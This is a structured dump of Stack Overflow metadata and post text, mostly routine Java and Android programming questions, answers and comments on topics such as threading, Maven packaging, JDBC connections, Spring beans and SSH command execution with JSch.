has body: You should be using AsyncTask to process and display bitmaps: https://developer.android.com/training/displaying-bitmaps/process-bitmap.html#async-task This class specifically designed for this usage, as to why this is happening on your Thread it is probably related to how Android handles GC differently to regular Java applications. This is especially true when dealing with Bitmap objects displayed in a ListView or GridView.
upvote count: 0
answers question: http://stackoverflow.com/q/22317659
has comment: http://stackoverflow.com/comment/34410145
type: Answer
has comment: http://stackoverflow.com/comment/34410235

http://stackoverflow.com/comment/33852770
comment on: http://stackoverflow.com/q/22283739
type: QuestionComment
has text: private is used to be accessible within the class. final is used to initialize it at the time of object creation and can't be updated later. public is used if it is accessible outside the class or package.
type: Comment
score: 0

http://stackoverflow.com/comment/33771642
score: 0
type: AnswerComment
has text: I think I got it: `(?s).(?=.*Look:)IfThisIsPresent:(.*?[^<]*)`
type: Comment
comment on: http://stackoverflow.com/a/22237006

sqlite
tags question: http://stackoverflow.com/q/22170297
tags question: http://stackoverflow.com/q/22223904
tags question: http://stackoverflow.com/q/22263987
tags question: http://stackoverflow.com/q/22180399
tags question: http://stackoverflow.com/q/22196514
type: Tag
tags question: http://stackoverflow.com/q/22310659
tags question: http://stackoverflow.com/q/22204778
tags question: http://stackoverflow.com/q/22200177
tags question: http://stackoverflow.com/q/22282924
tags question: http://stackoverflow.com/q/22269384
tags question: http://stackoverflow.com/q/22220033
tags question: http://stackoverflow.com/q/22261830
tags question: http://stackoverflow.com/q/22305256
tags question: http://stackoverflow.com/q/22232904
tags question: http://stackoverflow.com/q/22257604
tags question: http://stackoverflow.com/q/22318573
tags question: http://stackoverflow.com/q/22172748
tags question: http://stackoverflow.com/q/22323331
tags question: http://stackoverflow.com/q/22200110
tags question: http://stackoverflow.com/q/22219273
tags question: http://stackoverflow.com/q/22303796
tags question: http://stackoverflow.com/q/22213707
tag name: sqlite
tags question: http://stackoverflow.com/q/22274475

http://stackoverflow.com/comment/33748695
comment on: http://stackoverflow.com/a/22226654
has text: I am using 2008 version of SQL. I tried removing database name, that is not a problem because error still persists. I think the thing which is wrong, is the username and/or password
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/22263325
accepted answer of: http://stackoverflow.com/q/22208609
downvote count: 0
answers question: http://stackoverflow.com/q/22208609
type: AcceptedAnswer
upvote count: 6
has comment: http://stackoverflow.com/comment/117359059
has body: The version in the Android SDK is often lagging behind. At this time, the Android SDK contains ProGuard 4.7, while the Android Gradle plugin refers to ProGuard 4.10 from Maven Central. I generally recommend to use the latest version, especially if you have enabled optimization and if you run into any bugs in older versions. (I am the developer of ProGuard)
type: Answer
has comment: http://stackoverflow.com/comment/33817996
score: 6

http://stackoverflow.com/comment/33767124
has text: @brano when i try to run the class specifically it says "Class "ConnectDB" neither has a main method nor is it a servlet specified in web.xml" ...
type: QuestionComment
comment on: http://stackoverflow.com/q/22236239
score: 0
type: Comment

datagrid
tags question: http://stackoverflow.com/q/22313414
tag name: datagrid
type: Tag

http://stackoverflow.com/q/22307484
has comment: http://stackoverflow.com/comment/33896351
has answer: http://stackoverflow.com/a/22330731
has comment: http://stackoverflow.com/comment/33896338
answer count: 4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33896364
has comment: http://stackoverflow.com/comment/33902360
tagged with: java
has title: Is it possible to create an in-memory File object in Java?
possible better answer: http://stackoverflow.com/a/22307624
type: Question
accepted answer: http://stackoverflow.com/a/22330731
score: 8
has answer: http://stackoverflow.com/a/22307624
has answer: http://stackoverflow.com/a/22307964
has answer: http://stackoverflow.com/a/22307807
has comment: http://stackoverflow.com/comment/33896573
has body: One of the optimization projects I'm working on right now makes extensive use of EPANet. We make repeated calls to two simulation methods in EPANet to understand how water flows through a water distribution network. HydraulicSim is one of the classes we make use of. See the overloaded simulate methods: public void simulate(File hyd) throws ENException { ... } public void simulate(OutputStream out) throws ENException, IOException { ... } public void simulate(DataOutput out) throws ENException, IOException { ... } The other class we use is QualitySim. Here, we also use the overloaded simulate methods: public void simulate(File hydFile, File qualFile) throws IOException, ENException { ... } void simulate(File hydFile, OutputStream out) throws IOException, ENException { ... } Here's what we're currently doing: Create two File objects, hydFile and qualFile. Call HydraulicSim.simulate on hydFile. Call QualitySim.simulate on hydFile and qualFile. Delete the files. The problem is that we have to do this a lot of times. For a large problem, we can do this hundreds of thousands or even millions of times. You can imagine the slowdown repeatedly creating/writing/deleting these files causes. So my question is this: Is it possible for me to create these files so that they reside only in memory and never touch the disk? Each file is very small (I'm talking a few hundred bytes), so throwing them into memory won't be a problem; I just need to figure out how. I searched around and didn't really find much, save for MappedByteBuffer, but I'm not sure how, or if it's even possible, to create a File from that class. Any advice is welcome!
downvote count: 0
has comment: http://stackoverflow.com/comment/33905743
favorite count: 0
has comment: http://stackoverflow.com/comment/33905190
has comment: http://stackoverflow.com/comment/33896389
upvote count: 8

http://stackoverflow.com/a/22271795
has comment: http://stackoverflow.com/comment/33897361
score: 0
answers question: http://stackoverflow.com/q/22271770
type: Answer
has body: Maven comes with support to produce a jar with all required dependencies but you need to configure the assembly plugin correctly. If you add the following to the build section of your pom.xml maven-assembly-plugin 2.3 jar-with-dependencies make-assembly package single When you run mvn package you should get a version of your jar with all dependencies packaged within. For my example I produced the following: target/my-app-1.0-SNAPSHOT.jar target/my-app-1.0-SNAPSHOT-jar-with-dependencies.jar See the Maven assembly plugin documentation for more details.

http://stackoverflow.com/q/22178464
has title: Sometimes receiving java.util.ConcurrentModificationException, sometimes not. Can't figure out why
type: Question
has answer: http://stackoverflow.com/a/22178963
has body: So firstly here are the error messages: Exception in thread "Thread-2" java.util.ConcurrentModificationException at java.util.ArrayList$Itr.checkForComodification(Unknown Source) at java.util.ArrayList$Itr.next(Unknown Source) at zom.mainpac.Game.render(Game.java:218) at zom.mainpac.Game.run(Game.java:154) at java.lang.Thread.run(Unknown Source) Rendering my ArrayList of Objects at Line 218: for(Objects e : list){ e.render(g); } And then my render function at line 154: render(); ... private void render() { BufferStrategy bufferStrategy = this.getBufferStrategy(); if (bufferStrategy == null) { this.createBufferStrategy(2); return; } The problem is probably because my laptop cant render all of the Objects SOMETIMES, so it gives up. So im just wondering if there is a better way I can do this without it crashing all the time.
accepted answer: http://stackoverflow.com/a/22178963
score: 0
tagged with: java
answer count: 3
tagged with: render
tagged with: crash
has answer: http://stackoverflow.com/a/22178849
possible better answer: http://stackoverflow.com/a/22178484
has answer: http://stackoverflow.com/a/22178484
type: AnsweredQuestion

http://stackoverflow.com/comment/33824367
has text: An Iterator allows removing items while iterating. But a foreach loop is more readable, and has less chance for bugs.
comment on: http://stackoverflow.com/q/22267919
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22274119
tagged with: ejb-3.1
type: Question
tagged with: jndi
has body: I have an ear which has ejb.jar, core.jar. core.jar use lookup to find the bean at run time. Now the jndi path is mysystem-server-component-ear-0.0.1-SNAPSHOT/MyServiceBean/local which means &lt;earname&gt;/&lt;beanname&gt;/&lt;localinterface&gt; I want to define JNDI like MyServiceBean/local. Where my MyServiceBean is the ejb bean and it use local interface. I use EJB 3.1 without ejb-jar.xml and jboss.xml. All the wiring done through annotation. How can I define my own JNDI name which I can lookup
upvote count: 1
tagged with: ear
answer count: 1
has comment: http://stackoverflow.com/comment/33835754
favorite count: 0
type: UnansweredQuestion
has title: How to define own JNDI name for EJB in an ear
has answer: http://stackoverflow.com/a/22274531
downvote count: 0
score: 1
tagged with: java
tagged with: jboss

http://stackoverflow.com/q/22321501
linked to: http://stackoverflow.com/q/3194545
has answer: http://stackoverflow.com/a/22321570
linked to: http://stackoverflow.com/q/10961714
tagged with: threadpool
answer count: 6
duplicate of: http://stackoverflow.com/q/3194545
has answer: http://stackoverflow.com/a/22321598
has answer: http://stackoverflow.com/a/22321619
has answer: http://stackoverflow.com/a/22321867
downvote count: 0
has title: Need to Stop or Terminate the Thread
favorite count: 0
type: UnansweredQuestion
score: 2
has body: As i have Written a Simple Java Program to call Thread . below is my code public class ThreadPoolForParallelExec { public static void main(String args[]) { ExecutorService service = Executors.newFixedThreadPool(5); for (int i = 0; i &lt; 5; i++) { service.submit(new Task(i)); } service.shutdown(); } } final class Task implements Runnable { private int taskId; public Task(int id) { this.taskId = id; } @Override public void run() { myclient.intializeAndConnectRemoteMachine(taskId); Thread.currentThread().stop(); Thread.currentThread().isInterrupted(); } } However , I need to terminate the Executor or Thread . I tried Thread.currentThread().stop(); and Thread.currentThread().stop(); both didnt work :( could you please suggets .
has answer: http://stackoverflow.com/a/22321616
upvote count: 2
tagged with: java
has answer: http://stackoverflow.com/a/22322009
type: Question

http://stackoverflow.com/comment/33727658
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22214293
has text: what is in isValidDate ?

http://stackoverflow.com/comment/33881572
score: 0
type: Comment
type: QuestionComment
has text: Do you want connection between mobiles? using j2me?
comment on: http://stackoverflow.com/q/22296241

http://stackoverflow.com/a/25757006
has body: @Blender's link was the correct solution at the link: How to use parameters with HttpPost The correct way to url-encode was to create BasicNameValuePairs and encode that as such: postParameters = new ArrayList&lt;NameValuePair&gt;(); postParameters.add(new BasicNameValuePair("param1", "param1_value")); postParameters.add(new BasicNameValuePair("param2", "param2_value")); httppost.setEntity(new UrlEncodedFormEntity(postParameters));
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/22287318
answers question: http://stackoverflow.com/q/22287318

http://stackoverflow.com/comment/33707323
type: Comment
comment on: http://stackoverflow.com/a/22202207
has text: @SatishMotwani - No, not Timers. I was thinking of something like http://thegreyblog.blogspot.com/2011/12/using-threadpoolexecutor-to-parallelize.html. Once that thread is running, your main thread or other threads can add items to that queue, and the thread executor will execute them in the order of their arrival.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33718164
has text: Ok that sounds promising too, but I need to update to a servlet 3.0 container.
comment on: http://stackoverflow.com/a/22204250
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/35738683
answers question: http://stackoverflow.com/q/22248790
has body: This is the javadoc i found for the function scan into the source code of the project : /** * Scan an image and return the decoded text. * @param image The Image to be scanned. * @param x1 The leftmost pixel position of the area to be scanned, or * 0 to start scanning at the left boundary of the image. * @param y1 The topmost pixel position of the area to be scanned, or * 0 to start scanning at the top boundary of the image. * @param x2 The rightmost pixel position of the area to be scanned, or * 0 to stop scanning at the right boundary of the image. * @param y2 The bottommost pixel position of the area to be scanned, or * 0 to stop scanning at the bottom boundary of the image. * @param acceptableChars An array of CharacterRange objects * representing the ranges of characters which are allowed to be decoded, * or null to not limit which characters can be decoded. * @return The decoded text. */ So String items = scanner.scan(image2, 0, 0, 0, 0, null); seems to be Ok according to the code documentation. However I tried it and it is not the case. This one of the worst documentations I have ever seen.
score: 0
type: Answer

http://stackoverflow.com/comment/33684060
type: QuestionComment
has text: Click the link in my comment... it's also the first Google result for "procyon decompiler".
comment on: http://stackoverflow.com/q/22189897
score: 0
type: Comment

http://stackoverflow.com/q/22317881
score: 3
tagged with: hashmap
has comment: http://stackoverflow.com/comment/33914176
accepted answer: http://stackoverflow.com/a/22319358
has body: EDIT: I have posted it earlier for java. But it working in Java but not in android. So I am posting the android code now. I am trying to use a custom class into a HashMap in my android application. But it is not giving my desired output. Please help. I want to do something like this... //Code for android application: //Point class class Point{ private int x; private int y; public Point(){ } public Point(int _x, int _y){ this.x = _x; this.y = _y; } } DataManager.java public class DataManager { private Vector&lt;Integer&gt; RSSI = null; private int numOfRSSI; private Map&lt;Vector&lt;Integer&gt;, Point&gt; SingleData = null; private Vector&lt;Map&lt;Vector&lt;Integer&gt;, Point&gt;&gt; Data = null; private Context context; public DataManager(Context _context) { this.context = _context; Data = new Vector&lt;Map&lt;Vector&lt;Integer&gt;, Point&gt;&gt;(); } public void loadData(String filename) { if (Data == null) { System.out.println("***ERROR: DataSet not initalized!!!\n"); } readFile(filename); } public void printData(){ Vector&lt;Integer&gt; rssi = null; Map&lt;Vector&lt;Integer&gt;, Point&gt; single = null; Point point = null; for(int i=0;i&lt;Data.size();i++){ single = new HashMap&lt;Vector&lt;Integer&gt;, Point&gt;() ; single = Data.get(0); for (Map.Entry&lt;Vector&lt;Integer&gt;, Point&gt; entry :single.entrySet()) { rssi = new Vector&lt;Integer&gt;(); point = new Point(); rssi = entry.getKey(); point = entry.getValue(); System.out.print("("+point.x+" "+point.y+") "); for(int j = 0;j&lt;rssi.size(); j++){ System.out.print(rssi.get(j)+" "); } System.out.println(""); } } } private void readFile(String filename) { InputStream is = null; try { is = context.getResources().getAssets().open("datasets.txt"); } catch (IOException e) { e.printStackTrace(); System.out.println("error file reading"); } if (is != null) { StringBuilder text = new StringBuilder(); int flag = 0; try { BufferedReader br = new BufferedReader( new InputStreamReader(is)); String line; while ((line = …
has comment: http://stackoverflow.com/comment/33914534
has title: Use custom class in HashMap in android
has answer: http://stackoverflow.com/a/22318199
downvote count: 0
has answer: http://stackoverflow.com/a/22319389
has comment: http://stackoverflow.com/comment/33914238
favorite count: 0
has comment: http://stackoverflow.com/comment/33914381
has answer: http://stackoverflow.com/a/22318072
has comment: http://stackoverflow.com/comment/33914360
possible better answer: http://stackoverflow.com/a/22318199
tagged with: android
has answer: http://stackoverflow.com/a/22319358
has comment: http://stackoverflow.com/comment/33914474
answer count: 4
type: AnsweredQuestion
upvote count: 3
tagged with: java
has comment: http://stackoverflow.com/comment/33914913
type: Question

ftp
tags question: http://stackoverflow.com/q/22222724
tags question: http://stackoverflow.com/q/22216293
type: Tag
tag name: ftp
tags question: http://stackoverflow.com/q/22176722
tags question: http://stackoverflow.com/q/22249958
tags question: http://stackoverflow.com/q/22254204
tags question: http://stackoverflow.com/q/22224743
tags question: http://stackoverflow.com/q/22197069

http://stackoverflow.com/a/22392251
type: Answer
answers question: http://stackoverflow.com/q/22252022
has body: I misunderstood the question. I took a look on the documentation of Jsch and this was the easiest way for me to make it work: import java.io.IOException; import java.io.InputStream; import com.jcraft.jsch.ChannelExec; import com.jcraft.jsch.JSch; import com.jcraft.jsch.Session; public class Main { public static void main(String[] args) { String host = "theAddress"; String user = "root"; String password = "thePassword"; JSch jsch = new JSch(); Session session = null; try { session = jsch.getSession(user, host, 22); session.setPassword(password); session.setConfig("StrictHostKeyChecking", "no"); session.connect(10000); System.out.println("--&gt;" + runCommand("echo 'hello'", session)); // --&gt;hello System.out.println("--&gt;" + runCommand("whoami", session)); // --&gt;root System.out.println("--&gt;" + runCommand("date", session)); // --&gt;Thu Mar 13 23:45:39 CET 2014 } catch (Exception e) { e.printStackTrace(); } finally { if (session != null) { session.disconnect(); } } } private static String runCommand(String string, Session session) { ChannelExec channel = null; try { channel = (ChannelExec) session.openChannel("exec"); channel.setCommand(string); channel.connect(); return readOutput(channel); } catch (Exception e) { e.printStackTrace(); } finally { if (channel != null) { channel.disconnect(); } } return null; } private static String readOutput(ChannelExec channel) throws IOException { // code from: http://www.jcraft.com/jsch/examples/Exec.java.html StringBuilder sb = new StringBuilder(); InputStream in = channel.getInputStream(); byte[] tmp = new byte[1024]; while (true) { while (in.available() &gt; 0) { int i = in.read(tmp, 0, 1024); if (i &lt; 0) break; sb.append(new String(tmp, 0, i)); } if (channel.isClosed()) { break; } try { Thread.sleep(1000); } catch (Exception e) {} } return sb.toString(); } }
score: 0

http://stackoverflow.com/q/22203378
possible better answer: http://stackoverflow.com/a/22203556
tagged with: sql-server
has answer: http://stackoverflow.com/a/29611714
has answer: http://stackoverflow.com/a/34489568
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/42096537
tagged with: jdbc
answer count: 4
has title: Can't connect to SQL Server using jTDS
type: AnsweredQuestion
has body: I'm trying to connect to SQL Server 2008 R2 via Java, and I'm unable to do so using jTDS 1.2.8. The odd thing is that it works fine using the Microsoft JDBC driver. Is there some server-side setting that needs to be turned on to enable jTDS to access it? Or am I just missing something in the URL? I'm not using Windows integrated authentication to specify credentials, nor am I attempting to connect using SSL encryption (those are issues I found that can generate the exception I'm seeing.) If I use the following with the Microsoft driver, it works as expected, I can access the database with no problems: Connection connection = DriverManager.getConnection("jdbc:sqlserver://PHSSQL792\\PHSSQL792:1433", user, password); (user and password are variables declared earlier, so I can be sure I use the same values when connecting with either driver.) However, if I use the following with the jTDS driver: Connection connection = DriverManager.getConnection("jdbc:jtds:sqlserver://PHSSQL792:1433;instance=PHSSQL792", user, password); I get the following error: java.sql.SQLException: I/O Error: DB server closed connection. at net.sourceforge.jtds.jdbc.TdsCore.nextToken(TdsCore.java:2387) at net.sourceforge.jtds.jdbc.TdsCore.login(TdsCore.java:614) at net.sourceforge.jtds.jdbc.ConnectionJDBC2.&lt;init&gt;(ConnectionJDBC2.java:356) at net.sourceforge.jtds.jdbc.ConnectionJDBC3.&lt;init&gt;(ConnectionJDBC3.java:50) at net.sourceforge.jtds.jdbc.Driver.connect(Driver.java:185) at java.sql.DriverManager.getConnection(DriverManager.java:571) at java.sql.DriverManager.getConnection(DriverManager.java:215) at database.db_access.SqlServerDatabaseTestApp.main(SqlServerDatabaseTestApp.java:28) Caused by: java.io.IOException: DB server closed connection. at net.sourceforge.jtds.jdbc.SharedSocket.readPacket(SharedSocket.java:853) at net.sourceforge.jtds.jdbc.SharedSocket.getNetPacket(SharedSocket.java:732) at net.sourceforge.jtds.jdbc.ResponseStream.getPacket(ResponseStream.java:477) at net.sourcef…
score: 1
tagged with: java
tagged with: jtds
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22203556
has answer: http://stackoverflow.com/a/42096537

activerecord
tags question: http://stackoverflow.com/q/22291546
tag name: activerecord
type: Tag

http://stackoverflow.com/q/22215045
type: AnsweredQuestion
has body: I am have trouble creating an array or object(with multiple fields) and sending it to an array-list. Any help would be greatly appreciated. I have spent hours looking through every video on YouTube with the words object and array-list in them and have been unable to find much help. The program needs to prompt the user to pick a option (1. AddItem) then prompt the user for the name and format (dvd, vhs) and save multiple objects with these variables in an array-list. I either keep having the location where it is saved in memory returned to me or instead of multiple objects one large object is created. Library: import java.util.Scanner; import java.util.ArrayList; public class Library { static ArrayList&lt;Object&gt; items = new ArrayList&lt;Object&gt;(); static int menuOption; static Scanner scan = new Scanner(System.in); public static void main(String args[]) { String title, format; boolean right = false; do{ displayMenu(); if (menuOption == 1){ System.out.println("Enter Title: "); title = scan.next(); System.out.println("Enter format: "); format = scan.next(); addNewItem(title, format); } else {System.out.println(items); } } while (!right); } static int displayMenu(){ System.out.println("Menu: "); System.out.println("1. Add New Item"); menuOption = scan.nextInt(); return menuOption; } static void addNewItem(String title, String format){ MediaItem b = new MediaItem(); b.setTitle(title); b.setFormat(format); items.add(b); } } MediaItem: public class MediaItem { String title; String format; MediaItem(){ title = null; format = null } MediaItem(String title, String format){ title = new String(); format = new String(); } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getFormat() { return format; } public void setFormat(String format) { this.format = format; } }
tagged with: java
has comment: http://stackoverflow.com/comment/33728866
has comment: http://stackoverflow.com/comment/33728748
has answer: http://stackoverflow.com/a/22215157
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/22215368
has answer: http://stackoverflow.com/a/22215368
tagged with: arrays
has comment: http://stackoverflow.com/comment/33730803
has comment: http://stackoverflow.com/comment/33728928
tagged with: arraylist
score: 0
has comment: http://stackoverflow.com/comment/33728816
accepted answer: http://stackoverflow.com/a/22215157
linked to: http://stackoverflow.com/q/157944
has comment: http://stackoverflow.com/comment/33729480
has title: How do you send an array to an arraylist?

http://stackoverflow.com/q/22278411
has comment: http://stackoverflow.com/comment/33843562
has body: Before I get into detail, YES this is a HOMEWORK ASSIGNMENT. NO I DON'T WANT ANSWERS, JUST TIPS. The one of the direction of the assignment states this "Modify your SolarModel to allow for two Planets instead of one." Things to keep in mind: SolarModel is a class that creates a solar system model with a Planet object (it's own separate class with a Position, Direction, and Mass parameters [Not too important for this case]), a Sun object (also, with it's own Position, Direction, and Mass parameters), and a double Tick (a tick is an amount of time in which planets rotate that changes position - again, don't think it's important for the problem I am having). The whole package of codes is based on a hierarchy, "why?" (you might ask). I don't know why, it's just the topic I am learning in class. Here is what I have in my SolarModel class: public class SolarModel { protected Sun sun; protected Planet planet; protected Planet planetb; protected double tick; public SolarModel (double tick, Sun sun, Planet planet) { this.tick = tick; this.sun = sun; this.planet = planet; } There are more code to this, but are not important to this problem because they are just getters, setters, and a method that uses the tick to update position of the planet object...blah, blah, blah. Again, there's more to this class, just not important. My problem (restated), is how do I use the same constructor for my SolarModel to occupy two planets? Thanks in advance.
answer count: 2
has answer: http://stackoverflow.com/a/22278737
downvote count: 0
has comment: http://stackoverflow.com/comment/33843477
favorite count: 0
has comment: http://stackoverflow.com/comment/33843511
possible better answer: http://stackoverflow.com/a/22278737
has answer: http://stackoverflow.com/a/22278470
type: AnsweredQuestion
has title: Adding Two Objects?
upvote count: 3
tagged with: java
has comment: http://stackoverflow.com/comment/33843521
type: Question
score: 3
accepted answer: http://stackoverflow.com/a/22278470

http://stackoverflow.com/comment/33796339
score: 0
type: Comment
type: QuestionComment
has text: Can you add some working minimal example code which is showing the algorithm you are currently using?
comment on: http://stackoverflow.com/q/22222994

http://stackoverflow.com/comment/33894719
has text: I'm not allowed to post big comments
type: AnswerComment
comment on: http://stackoverflow.com/a/22306773
score: 0
type: Comment

http://stackoverflow.com/comment/33809967
comment on: http://stackoverflow.com/q/22259891
has text: When the exception is thrown, what is the value of `P.getnumCardsInHand()`? How many elements are in `P.cardsInHand[]`?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22234432
has comment: http://stackoverflow.com/comment/33766403
has comment: http://stackoverflow.com/comment/33763999
accepted answer of: http://stackoverflow.com/q/22234414
upvote count: 12
has comment: http://stackoverflow.com/comment/33763574
score: 12
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33764236
has comment: http://stackoverflow.com/comment/33763376
has comment: http://stackoverflow.com/comment/33763302
type: Answer
has body: Use List&lt;T&gt; for generics, that is roughly equivalent to Java ArrayList The List(Of T) class is the generic equivalent of the ArrayList class. It implements the IList(Of T) generic interface by using an array whose size is dynamically increased as required.
has comment: http://stackoverflow.com/comment/33763448
answers question: http://stackoverflow.com/q/22234414

http://stackoverflow.com/comment/33861414
score: 0
has text: so enter a value between 1 and 4
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22288277

http://stackoverflow.com/a/22247651
answers question: http://stackoverflow.com/q/22247353
type: Answer
has comment: http://stackoverflow.com/comment/33837675
has body: Source :https://developer.android.com/sdk/installing/index.html May be you will need lib apt-get ia32-libs
has comment: http://stackoverflow.com/comment/33868993
score: 0

http://stackoverflow.com/comment/79852300
type: AnswerComment
type: Comment
has text: need to delete jrow for each j. also why you chose reinterpret_cast<>?
comment on: http://stackoverflow.com/a/22257900
score: 0

http://stackoverflow.com/comment/33795952
comment on: http://stackoverflow.com/q/22252488
type: Comment
score: 0
has text: Please include more details about the exception.
type: QuestionComment

http://stackoverflow.com/comment/33780795
score: 0
type: Comment
has text: Well then I get `Exception Description: Problem compiling [SELECT u FROM User u]. [14, 27] The abstract schema type 'User' is unknown.`.
type: AnswerComment
comment on: http://stackoverflow.com/a/22229200

http://stackoverflow.com/a/22205206
accepted answer of: http://stackoverflow.com/q/22178735
answers question: http://stackoverflow.com/q/22178735
has comment: http://stackoverflow.com/comment/84616057
type: AcceptedAnswer
upvote count: 26
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/132224333
has body: (From someone else's correct but now deleted answer) The @DependsOn contract only guarantees that the bean has been constructed and properties have been set. This will not guarantee that any @PostConstruct methods have been called. The way to get this to work is to have the dependee class (the class that others depend on) implement the InitializingBean interface, which requires implementing the afterPropertiesSet() method. I put the original body of my init() method into this method. I verified that this is now executed before any of the classes that depend on this. Another thing that was mentioned in the original answer is that if I had defined my dependee bean in XML and used the init-method property, this WOULD have executed before any of the classes that depend on this. I didn't verify this.
score: 26
has comment: http://stackoverflow.com/comment/132221905

http://stackoverflow.com/comment/33876480
comment on: http://stackoverflow.com/q/22296977
score: 0
type: Comment
type: QuestionComment
has text: thanks for editing david99world.. I am about to edit it just now :)

http://stackoverflow.com/q/22227914
favorite count: 0
score: 3
upvote count: 3
accepted answer: http://stackoverflow.com/a/22278932
tagged with: web-services
tagged with: spring
tagged with: jersey-client
type: AnsweredQuestion
tagged with: java
has title: Initializing jersey client in constructor of spring managed bean
has body: I am using jersey client to send POST requests to a third party webservice. Since creating jersey clients is expensive, I am doing this inside the constructor of a service client class which is Spring managed. My thinking is that when my server starts up, Spring will create my service client bean, which in turn will cause the constructor to be invoked and so my jersey client will be created once. As long as the server is up, this jersey client will be responsible for sending out the requests and no further client initializations are required. However, I will be creating a new webresource for each call as creating jersey webresources is much cheaper. package com.mypackage; //Bunch of imports class MyWebserviceClient { //jersey client member variable private Client jClient; public MyWebserviceClient(){ //Create jersey client jClient = Client.create(); //Other stuff } public void sendRequest(){ WebResource wr = jClient.resource(someUrl); //Use the webresource to make webservice call } } MyWebserviceClient is spring managed as such in the Spring config xml: &lt;bean id="myClient" class="com.mypackage,MyWebserviceClient"&gt;&lt;/bean&gt; The bean myClient will then be injected into the appropriate place where the service call needs to be made. My questions 1) If my application is dealing with thousands of requests per hour is it efficient enough to handle all the requests with just one jersey client. 2) Do I need some kind of jersey client pool so that a large number of requests are taken care of more efficiently. If so, is there a way to do it? 3) I would like to know in general how multiple requests coming in from the end users are handled on the server side. Each request is a separate thread of execution on the server and all of them have access to the same jersey client object. If the jersey client object is busy with one such request, are the other requests from different end users going to wait till a response is received for the ongoing request? 4) Any better alte…
type: Question
tagged with: jersey
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/22278932

http://stackoverflow.com/a/22290525
score: 3
downvote count: 0
type: Answer
upvote count: 3
has body: Use scan.nextLine() instead of scan.next()
answers question: http://stackoverflow.com/q/22290511

http://stackoverflow.com/a/33471036
has body: This is an old question and although some answers would somehow work none of them are ideal. This answer does not break clean builds: calling "mvn <goal>" still produces the expected and backward-compatible result, which is good for continuous integration. Also this answer does not rely on committing generated code to version control, which is a bad idea as it might become out of sync with the source. I am assuming the generate-sources phase is bound to a plugin goal. The answer is to create a profile called "clean-build" which is active by default and contains your plugin binding. When a developer trusts they can safely skip generate-sources they may run the following. mvn -P !clean-build <goal> Or if the exclamation mark needs to be escaped. mvn -P \!clean-build <goal> Here is what the pom.xml might look like. clean-build true ... ... generate-sources ... ... This answer requires Maven 2.0.10+.
downvote count: 0
type: Answer
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/22172230

http://stackoverflow.com/q/22210823
has answer: http://stackoverflow.com/a/22217545
tagged with: jtable
tagged with: border
downvote count: 0
answer count: 1
favorite count: 0
has title: Why is my border overlapping my JTable?
accepted answer: http://stackoverflow.com/a/22217545
type: AnsweredQuestion
upvote count: 1
tagged with: swing
type: Question
has body: I am trying to put a border around my JTable for my health tracking program, but the border is overlapping the table: Border border = BorderFactory.createTitledBorder(BorderFactory.createEtchedBorder(EtchedBorder.LOWERED),"Summary"); Object[][] statsObj; String[] headers = {"","","","","",""} JTable statsT = new JTable(statsObj, headers); statsT.setBackground(null); statsT.setShowGrid(false); statsT.setBorder(border); Any idea what is going on or how I can fix the problem?
score: 1
tagged with: java

http://stackoverflow.com/comment/33750753
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22224000
score: 3
has text: If you want it to always fire (even on selecting the same value), add an actionListener. The action listener always fires on changing the combobox.

http://stackoverflow.com/a/22321883
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/22321802
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33923923
has body: Compute the delay between now and your target date, and call schedule() with this delay as argument: Date targetDate = new SimpleDateFormat("dd-MM-yyyy HH:mm:ss").parse(dateAsString); long delayInMillis = targetDate - System.currentTimeMillis(); scheduler.schedule(task, delayInMillis, TimeUnit.MILLISECONDS);
has comment: http://stackoverflow.com/comment/33920952

http://stackoverflow.com/q/22267368
has comment: http://stackoverflow.com/comment/33824094
has comment: http://stackoverflow.com/comment/34004936
has comment: http://stackoverflow.com/comment/33823545
tagged with: java-me
has body: I am using below code to send text message: DatagramConnection dc = null; try { dc = (DatagramConnection) Connector.open("sms://" + monum); byte[] data = message.getBytes("UTF-8"); Datagram dg = dc.newDatagram(dc.getMaximumLength()); dg.setData(data, 0, data.length); dc.send(dg); } catch (Exception e) { } Text I am sending is support@gizmocontrol.com but on Device i m receiving 'i' in place of '@'. How can i receive '@' in text message?
answer count: 0
type: UnansweredQuestion
tagged with: blackberry
has comment: http://stackoverflow.com/comment/33824204
tagged with: java
has comment: http://stackoverflow.com/comment/33824353
type: Question
score: 0
has comment: http://stackoverflow.com/comment/33824302
has comment: http://stackoverflow.com/comment/34014583
has title: Facing issue while sending special character in blackberry Text Message?
has comment: http://stackoverflow.com/comment/33824551

http://stackoverflow.com/a/22304579
has body: You have two options. The easy way is to create a shell script: #!/bin/bash java -XstartOnFirstThread -jar CommonDenom.jar The user runs the script, which sets the arguments and runs Java. The other way is to create an Application Bundle. It include a properties file (Info.plist) where you can set these properties. You can also use Oracle's appbundler tool to create an application bundle.
has comment: http://stackoverflow.com/comment/33914579
upvote count: 2
answers question: http://stackoverflow.com/q/22286974
downvote count: 0
type: Answer
score: 2

profile
tags question: http://stackoverflow.com/q/22188887
tag name: profile
type: Tag

http://stackoverflow.com/a/22212001
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33723632
